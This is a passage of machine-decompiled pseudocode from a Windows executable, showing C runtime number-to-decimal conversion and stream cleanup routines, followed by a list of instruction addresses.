																		_t1048 =  *(_v1872 - 4);
																	}
																	_t1143 = _v1892;
																	 *(_t1276 + _t1143 * 4 - 0x1d0) = (_t1048 & _v1912) >> _v1908 | (_t1235 & _v1884) << _v1888;
																	_t1138 = _t1143 - 1;
																	_t1273 = _t1273 - 1;
																	_t1046 = _v1872 - 4;
																	_v1892 = _t1138;
																	_v1872 = _t1046;
																	__eflags = _t1138 - 0xffffffff;
																	if(_t1138 != 0xffffffff) {
																		_t1064 = _v472;
																		continue;
																	}
																	break;
																}
																_t1187 = _v1880;
																_t1271 = _v1876;
															}
															__eflags = _t1271;
															if(_t1271 != 0) {
																__eflags = 0;
																memset( &_v468, 0, _t1271 << 2);
																_t1279 =  &(_t1279[3]);
															}
															__eflags = _v1865;
															_t1067 = 0x1cc;
															if(_v1865 == 0) {
																_v472 = _t1187;
															} else {
																_v472 = _t1187 + 1;
															}
														}
													}
													_v1392 = _v1392 & 0x00000000;
													_t1041 = 4;
													__eflags = 1;
													_v1396 = _t1041;
													_v1400 = 1;
													_v936 = 1;
													_push(_t1041);
												}
												goto L52;
											}
											goto L53;
										}
										L52:
										_push( &_v1396);
										_push(_t1067);
										_push( &_v932);
										E013C87FA();
										_t1282 =  &(_t1279[4]);
									}
									_t811 = _v1904;
									_t1087 = 0xa;
									_v1912 = _t1087;
									__eflags = _t811;
									if(_t811 < 0) {
										_t812 =  ~_t811;
										_t813 = _t812 / _t1087;
										_v1880 = _t813;
										_t1088 = _t812 % _t1087;
										_v1884 = _t1088;
										__eflags = _t813;
										if(_t813 == 0) {
											L249:
											__eflags = _t1088;
											if(_t1088 != 0) {
												_t852 =  *(0x13d41ac + _t1088 * 4);
												_v1896 = _t852;
												__eflags = _t852;
												if(_t852 == 0) {
													L260:
													__eflags = 0;
													_push(0);
													_v472 = 0;
													_v2408 = 0;
													goto L261;
												} else {
													__eflags = _t852 - 1;
													if(_t852 != 1) {
														_t1099 = _v472;
														__eflags = _t1099;
														if(_t1099 != 0) {
															_t1204 = 0;
															_t1253 = 0;
															__eflags = 0;
															do {
																_t1158 = _t852 *  *(_t1276 + _t1253 * 4 - 0x1d0) >> 0x20;
																 *(_t1276 + _t1253 * 4 - 0x1d0) = _t852 *  *(_t1276 + _t1253 * 4 - 0x1d0) + _t1204;
																_t852 = _v1896;
																asm("adc edx, 0x0");
																_t1253 = _t1253 + 1;
																_t1204 = _t1158;
																__eflags = _t1253 - _t1099;
															} while (_t1253 != _t1099);
															__eflags = _t1204;
															if(_t1204 != 0) {
																_t859 = _v472;
																__eflags = _t859 - 0x73;
																if(_t859 >= 0x73) {
																	goto L260;
																} else {
																	 *(_t1276 + _t859 * 4 - 0x1d0) = _t1204;
																	_v472 = _v472 + 1;
																}
															}
														}
													}
												}
											}
										} else {
											do {
												__eflags = _t813 - 0x26;
												if(_t813 > 0x26) {
													_t813 = 0x26;
												}
												_t1100 =  *(0x13d4116 + _t813 * 4) & 0x000000ff;
												_v1872 = _t813;
												_v1400 = ( *(0x13d4116 + _t813 * 4) & 0x000000ff) + ( *(0x13d4117 + _t813 * 4) & 0x000000ff);
												E013BDE40(_t1100 << 2,  &_v1396, 0, _t1100 << 2);
												_t870 = E013BDFA0( &(( &_v1396)[_t1100]), 0x13d3810 + ( *(0x13d4114 + _v1872 * 4) & 0x0000ffff) * 4, ( *(0x13d4117 + _t813 * 4) & 0x000000ff) << 2);
												_t1101 = _v1400;
												_t1282 =  &(_t1282[6]);
												_v1892 = _t1101;
												__eflags = _t1101 - 1;
												if(_t1101 > 1) {
													__eflags = _v472 - 1;
													if(_v472 > 1) {
														__eflags = _t1101 - _v472;
														_t1207 =  &_v1396;
														_t871 = _t870 & 0xffffff00 | _t1101 - _v472 > 0x00000000;
														__eflags = _t871;
														if(_t871 != 0) {
															_t1159 =  &_v468;
														} else {
															_t1207 =  &_v468;
															_t1159 =  &_v1396;
														}
														_v1908 = _t1159;
														__eflags = _t871;
														if(_t871 == 0) {
															_t1101 = _v472;
														}
														_v1876 = _t1101;
														__eflags = _t871;
														if(_t871 != 0) {
															_v1892 = _v472;
														}
														_t1160 = 0;
														_t1255 = 0;
														_v1864 = 0;
														__eflags = _t1101;
														if(_t1101 == 0) {
															L243:
															_v472 = _t1160;
															_t873 = _t1160 << 2;
															__eflags = _t873;
															_push(_t873);
															_t874 =  &_v1860;
															goto L244;
														} else {
															_t1208 = _t1207 -  &_v1860;
															__eflags = _t1208;
															_v1928 = _t1208;
															do {
																_t881 =  *(_t1276 + _t1208 + _t1255 * 4 - 0x740);
																_v1896 = _t881;
																__eflags = _t881;
																if(_t881 != 0) {
																	_t882 = 0;
																	_t1209 = 0;
																	_t1102 = _t1255;
																	_v1888 = 0;
																	__eflags = _v1892;
																	if(_v1892 == 0) {
																		L240:
																		__eflags = _t1102 - 0x73;
																		if(_t1102 == 0x73) {
																			goto L258;
																		} else {
																			_t1208 = _v1928;
																			_t1101 = _v1876;
																			goto L242;
																		}
																	} else {
																		while(1) {
																			__eflags = _t1102 - 0x73;
																			if(_t1102 == 0x73) {
																				goto L235;
																			}
																			__eflags = _t1102 - _t1160;
																			if(_t1102 == _t1160) {
																				 *(_t1276 + _t1102 * 4 - 0x740) =  *(_t1276 + _t1102 * 4 - 0x740) & 0x00000000;
																				_t894 = _t882 + 1 + _t1255;
																				__eflags = _t894;
																				_v1864 = _t894;
																				_t882 = _v1888;
																			}
																			_t889 =  *(_v1908 + _t882 * 4);
																			asm("adc edx, 0x0");
																			 *(_t1276 + _t1102 * 4 - 0x740) =  *(_t1276 + _t1102 * 4 - 0x740) + _t889 * _v1896 + _t1209;
																			asm("adc edx, 0x0");
																			_t882 = _v1888 + 1;
																			_t1102 = _t1102 + 1;
																			_v1888 = _t882;
																			_t1209 = _t889 * _v1896 >> 0x20;
																			_t1160 = _v1864;
																			__eflags = _t882 - _v1892;
																			if(_t882 != _v1892) {
																				continue;
																			} else {
																				goto L235;
																			}
																			while(1) {
																				L235:
																				__eflags = _t1209;
																				if(_t1209 == 0) {
																					goto L240;
																				}
																				__eflags = _t1102 - 0x73;
																				if(_t1102 == 0x73) {
																					goto L258;
																				} else {
																					__eflags = _t1102 - _t1160;
																					if(_t1102 == _t1160) {
																						_t558 = _t1276 + _t1102 * 4 - 0x740;
																						 *_t558 =  *(_t1276 + _t1102 * 4 - 0x740) & 0x00000000;
																						__eflags =  *_t558;
																						_t564 = _t1102 + 1; // 0x1
																						_v1864 = _t564;
																					}
																					_t887 = _t1209;
																					_t1209 = 0;
																					 *(_t1276 + _t1102 * 4 - 0x740) =  *(_t1276 + _t1102 * 4 - 0x740) + _t887;
																					_t1160 = _v1864;
																					asm("adc edi, edi");
																					_t1102 = _t1102 + 1;
																					continue;
																				}
																				goto L246;
																			}
																			goto L240;
																		}
																		goto L235;
																	}
																} else {
																	__eflags = _t1255 - _t1160;
																	if(_t1255 == _t1160) {
																		 *(_t1276 + _t1255 * 4 - 0x740) =  *(_t1276 + _t1255 * 4 - 0x740) & _t881;
																		_t526 = _t1255 + 1; // 0x1
																		_t1160 = _t526;
																		_v1864 = _t1160;
																	}
																	goto L242;
																}
																goto L246;
																L242:
																_t1255 = _t1255 + 1;
																__eflags = _t1255 - _t1101;
															} while (_t1255 != _t1101);
															goto L243;
														}
													} else {
														_t1210 = _v468;
														_v472 = _t1101;
														E013C87FA( &_v468, _t1067,  &_v1396, _t1101 << 2);
														_t1282 =  &(_t1282[4]);
														__eflags = _t1210;
														if(_t1210 == 0) {
															goto L203;
														} else {
															__eflags = _t1210 - 1;
															if(_t1210 == 1) {
																goto L245;
															} else {
																__eflags = _v472;
																if(_v472 == 0) {
																	goto L245;
																} else {
																	_t1103 = 0;
																	_v1896 = _v472;
																	_t1256 = 0;
																	__eflags = 0;
																	do {
																		_t903 = _t1210;
																		_t1161 = _t903 *  *(_t1276 + _t1256 * 4 - 0x1d0) >> 0x20;
																		 *(_t1276 + _t1256 * 4 - 0x1d0) = _t903 *  *(_t1276 + _t1256 * 4 - 0x1d0) + _t1103;
																		asm("adc edx, 0x0");
																		_t1256 = _t1256 + 1;
																		_t1103 = _t1161;
																		__eflags = _t1256 - _v1896;
																	} while (_t1256 != _v1896);
																	goto L208;
																}
															}
														}
													}
												} else {
													_t1211 = _v1396;
													__eflags = _t1211;
													if(_t1211 != 0) {
														__eflags = _t1211 - 1;
														if(_t1211 == 1) {
															goto L245;
														} else {
															__eflags = _v472;
															if(_v472 == 0) {
																goto L245;
															} else {
																_t1104 = 0;
																_v1896 = _v472;
																_t1257 = 0;
																__eflags = 0;
																do {
																	_t908 = _t1211;
																	_t1162 = _t908 *  *(_t1276 + _t1257 * 4 - 0x1d0) >> 0x20;
																	 *(_t1276 + _t1257 * 4 - 0x1d0) = _t908 *  *(_t1276 + _t1257 * 4 - 0x1d0) + _t1104;
																	asm("adc edx, 0x0");
																	_t1257 = _t1257 + 1;
																	_t1104 = _t1162;
																	__eflags = _t1257 - _v1896;
																} while (_t1257 != _v1896);
																L208:
																__eflags = _t1103;
																if(_t1103 == 0) {
																	goto L245;
																} else {
																	_t906 = _v472;
																	__eflags = _t906 - 0x73;
																	if(_t906 >= 0x73) {
																		L258:
																		_v2408 = 0;
																		_v472 = 0;
																		E013C87FA( &_v468, _t1067,  &_v2404, 0);
																		_t1282 =  &(_t1282[4]);
																		_t877 = 0;
																	} else {
																		 *(_t1276 + _t906 * 4 - 0x1d0) = _t1103;
																		_v472 = _v472 + 1;
																		goto L245;
																	}
																}
															}
														}
													} else {
														L203:
														_v2408 = 0;
														_v472 = 0;
														_push(0);
														_t874 =  &_v2404;
														L244:
														_push(_t874);
														_push(_t1067);
														_push( &_v468);
														E013C87FA();
														_t1282 =  &(_t1282[4]);
														L245:
														_t877 = 1;
													}
												}
												L246:
												__eflags = _t877;
												if(_t877 == 0) {
													_v2408 = _v2408 & 0x00000000;
													_v472 = _v472 & 0x00000000;
													_push(0);
													L261:
													_push( &_v2404);
													_t855 =  &_v468;
													goto L262;
												} else {
													goto L247;
												}
												goto L263;
												L247:
												_t813 = _v1880 - _v1872;
												__eflags = _t813;
												_v1880 = _t813;
											} while (_t813 != 0);
											_t1088 = _v1884;
											goto L249;
										}
									} else {
										_t911 = _t811 / _t1087;
										_v1908 = _t911;
										_t1105 = _t811 % _t1087;
										_v1896 = _t1105;
										__eflags = _t911;
										if(_t911 == 0) {
											L184:
											__eflags = _t1105;
											if(_t1105 != 0) {
												_t1212 =  *(0x13d41ac + _t1105 * 4);
												__eflags = _t1212;
												if(_t1212 != 0) {
													__eflags = _t1212 - 1;
													if(_t1212 != 1) {
														_t912 = _v936;
														_v1896 = _t912;
														__eflags = _t912;
														if(_t912 != 0) {
															_t1258 = 0;
															_t1106 = 0;
															__eflags = 0;
															do {
																_t913 = _t1212;
																_t1166 = _t913 *  *(_t1276 + _t1106 * 4 - 0x3a0) >> 0x20;
																 *(_t1276 + _t1106 * 4 - 0x3a0) = _t913 *  *(_t1276 + _t1106 * 4 - 0x3a0) + _t1258;
																asm("adc edx, 0x0");
																_t1106 = _t1106 + 1;
																_t1258 = _t1166;
																__eflags = _t1106 - _v1896;
															} while (_t1106 != _v1896);
															__eflags = _t1258;
															if(_t1258 != 0) {
																_t916 = _v936;
																__eflags = _t916 - 0x73;
																if(_t916 >= 0x73) {
																	goto L186;
																} else {
																	 *(_t1276 + _t916 * 4 - 0x3a0) = _t1258;
																	_v936 = _v936 + 1;
																}
															}
														}
													}
												} else {
													L186:
													_v2408 = 0;
													_v936 = 0;
													_push(0);
													goto L190;
												}
											}
										} else {
											do {
												__eflags = _t911 - 0x26;
												if(_t911 > 0x26) {
													_t911 = 0x26;
												}
												_t1107 =  *(0x13d4116 + _t911 * 4) & 0x000000ff;
												_v1888 = _t911;
												_v1400 = ( *(0x13d4116 + _t911 * 4) & 0x000000ff) + ( *(0x13d4117 + _t911 * 4) & 0x000000ff);
												E013BDE40(_t1107 << 2,  &_v1396, 0, _t1107 << 2);
												_t929 = E013BDFA0( &(( &_v1396)[_t1107]), 0x13d3810 + ( *(0x13d4114 + _v1888 * 4) & 0x0000ffff) * 4, ( *(0x13d4117 + _t911 * 4) & 0x000000ff) << 2);
												_t1108 = _v1400;
												_t1282 =  &(_t1282[6]);
												_v1892 = _t1108;
												__eflags = _t1108 - 1;
												if(_t1108 > 1) {
													__eflags = _v936 - 1;
													if(_v936 > 1) {
														__eflags = _t1108 - _v936;
														_t1215 =  &_v1396;
														_t930 = _t929 & 0xffffff00 | _t1108 - _v936 > 0x00000000;
														__eflags = _t930;
														if(_t930 != 0) {
															_t1167 =  &_v932;
														} else {
															_t1215 =  &_v932;
															_t1167 =  &_v1396;
														}
														_v1876 = _t1167;
														__eflags = _t930;
														if(_t930 == 0) {
															_t1108 = _v936;
														}
														_v1880 = _t1108;
														__eflags = _t930;
														if(_t930 != 0) {
															_v1892 = _v936;
														}
														_t1168 = 0;
														_t1260 = 0;
														_v1864 = 0;
														__eflags = _t1108;
														if(_t1108 == 0) {
															L177:
															_v936 = _t1168;
															_t932 = _t1168 << 2;
															__eflags = _t932;
															goto L178;
														} else {
															_t1216 = _t1215 -  &_v1860;
															__eflags = _t1216;
															_v1928 = _t1216;
															do {
																_t940 =  *(_t1276 + _t1216 + _t1260 * 4 - 0x740);
																_v1884 = _t940;
																__eflags = _t940;
																if(_t940 != 0) {
																	_t941 = 0;
																	_t1217 = 0;
																	_t1109 = _t1260;
																	_v1872 = 0;
																	__eflags = _v1892;
																	if(_v1892 == 0) {
																		L174:
																		__eflags = _t1109 - 0x73;
																		if(_t1109 == 0x73) {
																			goto L187;
																		} else {
																			_t1216 = _v1928;
																			_t1108 = _v1880;
																			goto L176;
																		}
																	} else {
																		while(1) {
																			__eflags = _t1109 - 0x73;
																			if(_t1109 == 0x73) {
																				goto L169;
																			}
																			__eflags = _t1109 - _t1168;
																			if(_t1109 == _t1168) {
																				 *(_t1276 + _t1109 * 4 - 0x740) =  *(_t1276 + _t1109 * 4 - 0x740) & 0x00000000;
																				_t953 = _t941 + 1 + _t1260;
																				__eflags = _t953;
																				_v1864 = _t953;
																				_t941 = _v1872;
																			}
																			_t948 =  *(_v1876 + _t941 * 4);
																			asm("adc edx, 0x0");
																			 *(_t1276 + _t1109 * 4 - 0x740) =  *(_t1276 + _t1109 * 4 - 0x740) + _t948 * _v1884 + _t1217;
																			asm("adc edx, 0x0");
																			_t941 = _v1872 + 1;
																			_t1109 = _t1109 + 1;
																			_v1872 = _t941;
																			_t1217 = _t948 * _v1884 >> 0x20;
																			_t1168 = _v1864;
																			__eflags = _t941 - _v1892;
																			if(_t941 != _v1892) {
																				continue;
																			} else {
																				goto L169;
																			}
																			while(1) {
																				L169:
																				__eflags = _t1217;
																				if(_t1217 == 0) {
																					goto L174;
																				}
																				__eflags = _t1109 - 0x73;
																				if(_t1109 == 0x73) {
																					L187:
																					__eflags = 0;
																					_v2408 = 0;
																					_v936 = 0;
																					_push(0);
																					_t943 =  &_v2404;
																					goto L188;
																				} else {
																					__eflags = _t1109 - _t1168;
																					if(_t1109 == _t1168) {
																						_t370 = _t1276 + _t1109 * 4 - 0x740;
																						 *_t370 =  *(_t1276 + _t1109 * 4 - 0x740) & 0x00000000;
																						__eflags =  *_t370;
																						_t376 = _t1109 + 1; // 0x1
																						_v1864 = _t376;
																					}
																					_t946 = _t1217;
																					_t1217 = 0;
																					 *(_t1276 + _t1109 * 4 - 0x740) =  *(_t1276 + _t1109 * 4 - 0x740) + _t946;
																					_t1168 = _v1864;
																					asm("adc edi, edi");
																					_t1109 = _t1109 + 1;
																					continue;
																				}
																				goto L181;
																			}
																			goto L174;
																		}
																		goto L169;
																	}
																} else {
																	__eflags = _t1260 - _t1168;
																	if(_t1260 == _t1168) {
																		 *(_t1276 + _t1260 * 4 - 0x740) =  *(_t1276 + _t1260 * 4 - 0x740) & _t940;
																		_t338 = _t1260 + 1; // 0x1
																		_t1168 = _t338;
																		_v1864 = _t1168;
																	}
																	goto L176;
																}
																goto L181;
																L176:
																_t1260 = _t1260 + 1;
																__eflags = _t1260 - _t1108;
															} while (_t1260 != _t1108);
															goto L177;
														}
													} else {
														_t1218 = _v932;
														_v936 = _t1108;
														E013C87FA( &_v932, _t1067,  &_v1396, _t1108 << 2);
														_t1282 =  &(_t1282[4]);
														__eflags = _t1218;
														if(_t1218 != 0) {
															__eflags = _t1218 - 1;
															if(_t1218 == 1) {
																goto L180;
															} else {
																__eflags = _v936;
																if(_v936 == 0) {
																	goto L180;
																} else {
																	_t1110 = 0;
																	_v1884 = _v936;
																	_t1261 = 0;
																	__eflags = 0;
																	do {
																		_t961 = _t1218;
																		_t1169 = _t961 *  *(_t1276 + _t1261 * 4 - 0x3a0) >> 0x20;
																		 *(_t1276 + _t1261 * 4 - 0x3a0) = _t961 *  *(_t1276 + _t1261 * 4 - 0x3a0) + _t1110;
																		asm("adc edx, 0x0");
																		_t1261 = _t1261 + 1;
																		_t1110 = _t1169;
																		__eflags = _t1261 - _v1884;
																	} while (_t1261 != _v1884);
																	goto L149;
																}
															}
														} else {
															_v1400 = 0;
															_v936 = 0;
															_push(0);
															_t933 =  &_v1396;
															goto L179;
														}
													}
												} else {
													_t1219 = _v1396;
													__eflags = _t1219;
													if(_t1219 != 0) {
														__eflags = _t1219 - 1;
														if(_t1219 == 1) {
															goto L180;
														} else {
															__eflags = _v936;
															if(_v936 == 0) {
																goto L180;
															} else {
																_t1111 = 0;
																_v1884 = _v936;
																_t1262 = 0;
																__eflags = 0;
																do {
																	_t968 = _t1219;
																	_t1170 = _t968 *  *(_t1276 + _t1262 * 4 - 0x3a0) >> 0x20;
																	 *(_t1276 + _t1262 * 4 - 0x3a0) = _t968 *  *(_t1276 + _t1262 * 4 - 0x3a0) + _t1111;
																	asm("adc edx, 0x0");
																	_t1262 = _t1262 + 1;
																	_t1111 = _t1170;
																	__eflags = _t1262 - _v1884;
																} while (_t1262 != _v1884);
																L149:
																__eflags = _t1110;
																if(_t1110 == 0) {
																	goto L180;
																} else {
																	_t964 = _v936;
																	__eflags = _t964 - 0x73;
																	if(_t964 < 0x73) {
																		 *(_t1276 + _t964 * 4 - 0x3a0) = _t1110;
																		_v936 = _v936 + 1;
																		goto L180;
																	} else {
																		_v1400 = 0;
																		_v936 = 0;
																		_push(0);
																		_t943 =  &_v1396;
																		L188:
																		_push(_t943);
																		_push(_t1067);
																		_push( &_v932);
																		E013C87FA();
																		_t1282 =  &(_t1282[4]);
																		_t936 = 0;
																	}
																}
															}
														}
													} else {
														_t932 = 0;
														_v1864 = 0;
														_v936 = 0;
														L178:
														_push(_t932);
														_t933 =  &_v1860;
														L179:
														_push(_t933);
														_push(_t1067);
														_push( &_v932);
														E013C87FA();
														_t1282 =  &(_t1282[4]);
														L180:
														_t936 = 1;
													}
												}
												L181:
												__eflags = _t936;
												if(_t936 == 0) {
													_v2408 = _v2408 & 0x00000000;
													_t404 =  &_v936;
													 *_t404 = _v936 & 0x00000000;
													__eflags =  *_t404;
													_push(0);
													L190:
													_push( &_v2404);
													_t855 =  &_v932;
													L262:
													_push(_t1067);
													_push(_t855);
													E013C87FA();
													_t1282 =  &(_t1282[4]);
												} else {
													goto L182;
												}
												goto L263;
												L182:
												_t911 = _v1908 - _v1888;
												__eflags = _t911;
												_v1908 = _t911;
											} while (_t911 != 0);
											_t1105 = _v1896;
											goto L184;
										}
									}
									L263:
									_t1199 = _v1920;
									_t1248 = _t1199;
									_t1089 = _v472;
									_v1872 = _t1248;
									__eflags = _t1089;
									if(_t1089 != 0) {
										_t1252 = 0;
										_t1203 = 0;
										__eflags = 0;
										do {
											_t844 =  *(_t1276 + _t1203 * 4 - 0x1d0);
											_t1156 = 0xa;
											_t1157 = _t844 * _t1156 >> 0x20;
											 *(_t1276 + _t1203 * 4 - 0x1d0) = _t844 * _t1156 + _t1252;
											asm("adc edx, 0x0");
											_t1203 = _t1203 + 1;
											_t1252 = _t1157;
											__eflags = _t1203 - _t1089;
										} while (_t1203 != _t1089);
										_v1896 = _t1252;
										__eflags = _t1252;
										_t1248 = _v1872;
										if(_t1252 != 0) {
											_t1098 = _v472;
											__eflags = _t1098 - 0x73;
											if(_t1098 >= 0x73) {
												__eflags = 0;
												_v2408 = 0;
												_v472 = 0;
												E013C87FA( &_v468, _t1067,  &_v2404, 0);
												_t1282 =  &(_t1282[4]);
											} else {
												 *(_t1276 + _t1098 * 4 - 0x1d0) = _t1157;
												_v472 = _v472 + 1;
											}
										}
										_t1199 = _t1248;
									}
									_t816 = E013C9EA0( &_v472,  &_v936);
									_t1149 = 0xa;
									__eflags = _t816 - _t1149;
									if(_t816 != _t1149) {
										__eflags = _t816;
										if(_t816 != 0) {
											_t817 = _t816 + 0x30;
											__eflags = _t817;
											_t1248 = _t1199 + 1;
											 *_t1199 = _t817;
											_v1872 = _t1248;
											goto L282;
										} else {
											_t818 = _v1904 - 1;
										}
									} else {
										_v1904 = _v1904 + 1;
										_t1248 = _t1199 + 1;
										_t835 = _v936;
										 *_t1199 = 0x31;
										_v1872 = _t1248;
										__eflags = _t835;
										if(_t835 != 0) {
											_t1202 = 0;
											_t1251 = _t835;
											_t1097 = 0;
											__eflags = 0;
											do {
												_t836 =  *(_t1276 + _t1097 * 4 - 0x3a0);
												 *(_t1276 + _t1097 * 4 - 0x3a0) = _t836 * _t1149 + _t1202;
												asm("adc edx, 0x0");
												_t1097 = _t1097 + 1;
												_t1202 = _t836 * _t1149 >> 0x20;
												_t1149 = 0xa;
												__eflags = _t1097 - _t1251;
											} while (_t1097 != _t1251);
											_t1248 = _v1872;
											__eflags = _t1202;
											if(_t1202 != 0) {
												_t839 = _v936;
												__eflags = _t839 - 0x73;
												if(_t839 >= 0x73) {
													_v2408 = 0;
													_v936 = 0;
													E013C87FA( &_v932, _t1067,  &_v2404, 0);
													_t1282 =  &(_t1282[4]);
												} else {
													 *(_t1276 + _t839 * 4 - 0x3a0) = _t1202;
													_v936 = _v936 + 1;
												}
											}
										}
										L282:
										_t818 = _v1904;
									}
									 *((intOrPtr*)(_v1924 + 4)) = _t818;
									_t1073 = _v1916;
									__eflags = _t818;
									if(_t818 >= 0) {
										__eflags = _t1073 - 0x7fffffff;
										if(_t1073 <= 0x7fffffff) {
											_t1073 = _t1073 + _t818;
											__eflags = _t1073;
										}
									}
									_t820 = _a24 - 1;
									__eflags = _t820 - _t1073;
									if(_t820 >= _t1073) {
										_t820 = _t1073;
									}
									_t821 = _t820 + _v1920;
									_v1916 = _t821;
									__eflags = _t1248 - _t821;
									if(__eflags != 0) {
										while(1) {
											_t822 = _v472;
											__eflags = _t822;
											if(__eflags == 0) {
												goto L303;
											}
											_t1200 = 0;
											_t1249 = _t822;
											_t1093 = 0;
											__eflags = 0;
											do {
												_t823 =  *(_t1276 + _t1093 * 4 - 0x1d0);
												 *(_t1276 + _t1093 * 4 - 0x1d0) = _t823 * 0x3b9aca00 + _t1200;
												asm("adc edx, 0x0");
												_t1093 = _t1093 + 1;
												_t1200 = _t823 * 0x3b9aca00 >> 0x20;
												__eflags = _t1093 - _t1249;
											} while (_t1093 != _t1249);
											_t1250 = _v1872;
											__eflags = _t1200;
											if(_t1200 != 0) {
												_t829 = _v472;
												__eflags = _t829 - 0x73;
												if(_t829 >= 0x73) {
													__eflags = 0;
													_v2408 = 0;
													_v472 = 0;
													E013C87FA( &_v468, _t1067,  &_v2404, 0);
													_t1282 =  &(_t1282[4]);
												} else {
													 *(_t1276 + _t829 * 4 - 0x1d0) = _t1200;
													_v472 = _v472 + 1;
												}
											}
											_t828 = E013C9EA0( &_v472,  &_v936);
											_t1201 = 8;
											_t1073 = _v1916 - _t1250;
											__eflags = _t1073;
											do {
												_t708 = _t828 % _v1912;
												_t828 = _t828 / _v1912;
												_t1154 = _t708 + 0x30;
												__eflags = _t1073 - _t1201;
												if(_t1073 >= _t1201) {
													 *((char*)(_t1201 + _t1250)) = _t1154;
												}
												_t1201 = _t1201 - 1;
												__eflags = _t1201 - 0xffffffff;
											} while (_t1201 != 0xffffffff);
											__eflags = _t1073 - 9;
											if(_t1073 > 9) {
												_t1073 = 9;
											}
											_t1248 = _t1250 + _t1073;
											_v1872 = _t1248;
											__eflags = _t1248 - _v1916;
											if(__eflags != 0) {
												continue;
											}
											goto L303;
										}
									}
									L303:
									 *_t1248 = 0;
									goto L309;
								}
							}
						}
					}
				} else {
					_t1073 = _t1239 & 0x000fffff;
					if((_t1191 | _t1239 & 0x000fffff) != 0) {
						goto L5;
					} else {
						_push(0x13d41d4);
						 *((intOrPtr*)(_v1924 + 4)) =  *(_v1924 + 4) & 0x00000000;
						L308:
						_push(_a24);
						_push(_t1058);
						if(E013C5958() != 0) {
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E013C5D1D();
							asm("int3");
							E013BD810(_t1145, 0x13d8148, 0x10);
							_v32 = _v32 & 0x00000000;
							E013C76C7(8);
							_pop(_t1074);
							_t721 =  &_v8;
							 *_t721 = _v8 & 0x00000000;
							__eflags =  *_t721;
							_t1240 = 3;
							while(1) {
								_v36 = _t1240;
								__eflags = _t1240 -  *0x13faf24; // 0x200
								if(__eflags == 0) {
									break;
								}
								_t763 =  *0x13faf28; // 0x0
								_t764 =  *(_t763 + _t1240 * 4);
								__eflags = _t764;
								if(_t764 != 0) {
									__eflags =  *(_t764 + 0xc) >> 0x0000000d & 0x00000001;
									if(__eflags != 0) {
										_t773 =  *0x13faf28; // 0x0
										_push( *((intOrPtr*)(_t773 + _t1240 * 4)));
										_t774 = E013CCF03(_t1074, _t1145, __eflags);
										__eflags = _t774 - 0xffffffff;
										if(_t774 != 0xffffffff) {
											_t731 =  &_v32;
											 *_t731 = _v32 + 1;
											__eflags =  *_t731;
										}
									}
									_t767 =  *0x13faf28; // 0x0
									DeleteCriticalSection( *((intOrPtr*)(_t767 + _t1240 * 4)) + 0x20);
									_t770 =  *0x13faf28; // 0x0
									E013C59B2( *((intOrPtr*)(_t770 + _t1240 * 4)));
									_pop(_t1074);
									_t772 =  *0x13faf28; // 0x0
									_t737 = _t772 + _t1240 * 4;
									 *_t737 =  *(_t772 + _t1240 * 4) & 0x00000000;
									__eflags =  *_t737;
								}
								_t1240 = _t1240 + 1;
							}
							_v8 = 0xfffffffe;
							E013CB783();
							return E013BD856(_t1145);
						} else {
							L309:
							_t1289 = _v1936;
							if(_v1936 != 0) {
								E013CC265(_t1073, _t1289,  &_v1944);
							}
							return E013BD763(_v8 ^ _t1276);
						}
					}
				}
			}

0x013ca350
0x013ca353
0x013ca355
0x013ca35b
0x013ca362
0x013ca366
0x013ca36f
0x013ca370
0x013ca371
0x013ca374
0x013ca37a
0x013ca380
0x013ca385
0x013ca394
0x013ca396
0x013ca398
0x013ca398
0x013ca39f
0x013ca3a9
0x013ca3ae
0x013ca3b1
0x013ca3d5
0x013ca3d9
0x013ca3de
0x013ca3df
0x013ca3e1
0x013ca3e3
0x013ca3e9
0x013ca3e9
0x013ca3f0
0x013ca3f0
0x013ca3f3
0x013cb6a3
0x00000000
0x013ca3f9
0x013ca3f9
0x013ca3f9
0x013ca3fc
0x013cb69c
0x00000000
0x013ca402
0x013ca402
0x013ca402
0x013ca405
0x013cb695
0x00000000
0x013ca40b
0x013ca40b
0x013ca40e
0x013cb68e
0x00000000
0x013ca414
0x013ca41d
0x013ca425
0x013ca428
0x013ca42b
0x013ca42e
0x013ca434
0x013ca43c
0x013ca442
0x013ca44c
0x013ca44c
0x013ca44f
0x013ca457
0x013ca45e
0x013ca45e
0x013ca451
0x013ca451
0x013ca453
0x013ca466
0x013ca46c
0x013ca46e
0x013ca472
0x013ca477
0x013ca484
0x013ca486
0x013ca48c
0x013ca491
0x013ca492
0x013ca493
0x013ca49d
0x013ca4a2
0x013ca4a8
0x013ca4ad
0x013ca4b6
0x013ca4b6
0x013ca4b8
0x013ca4af
0x013ca4af
0x013ca4b4
0x00000000
0x00000000
0x013ca4b4
0x013ca4be
0x013ca4c6
0x013ca4c8
0x013ca4d1
0x013ca4d2
0x013ca4d8
0x013ca4da
0x013ca8cd
0x013ca8d3
0x013ca9f2
0x013ca9f2
0x013ca9f9
0x013ca9f9
0x013ca9f9
0x013caa00
0x013caa03
0x013caa0a
0x013caa0a
0x013caa05
0x013caa05
0x013caa05
0x013caa0e
0x013caa0f
0x013caa11
0x013caa14
0x013caa17
0x013caa1a
0x013caa20
0x013caa23
0x013caa26
0x013caa30
0x013caa30
0x013caa30
0x013caa28
0x013caa28
0x013caa2a
0x00000000
0x013caa2c
0x013caa2c
0x013caa2c
0x013caa2a
0x013caa32
0x013caa34
0x013caad5
0x013caad5
0x013caae2
0x013caae2
0x013caae2
0x013caaf8
0x013caafd
0x013caa3a
0x013caa3a
0x013caa3c
0x00000000
0x013caa42
0x013caa44
0x013caa45
0x013caa47
0x013caa49
0x013caa49
0x013caa4b
0x013caa4e
0x013caa56
0x013caa58
0x013caa5b
0x013caa61
0x013caa61
0x013caa63
0x013caa6f
0x013caa6f
0x013caa6f
0x013caa65
0x013caa67
0x013caa67
0x013caa76
0x013caa79
0x013caa7b
0x013caa82
0x013caa82
0x013caa7d
0x013caa7d
0x013caa7d
0x013caa8a
0x013caa94
0x013caa9a
0x013caa9b
0x013caaa0
0x013caaa6
0x013caaa9
0x00000000
0x00000000
0x013caaab
0x013caaab
0x013caab3
0x013caab3
0x013caab9
0x013caac0
0x013caacd
0x013caac2
0x013caac2
0x013caac5
0x013caac5
0x013caac0
0x013caa3c
0x013cab09
0x013cab19
0x013cab26
0x013cab28
0x013cab2f
0x013ca8d9
0x013ca8d9
0x013ca8e2
0x013ca8e3
0x013ca8ed
0x013ca8f3
0x013ca8f5
0x013ca8fb
0x013ca8fb
0x013ca8fd
0x013ca8fd
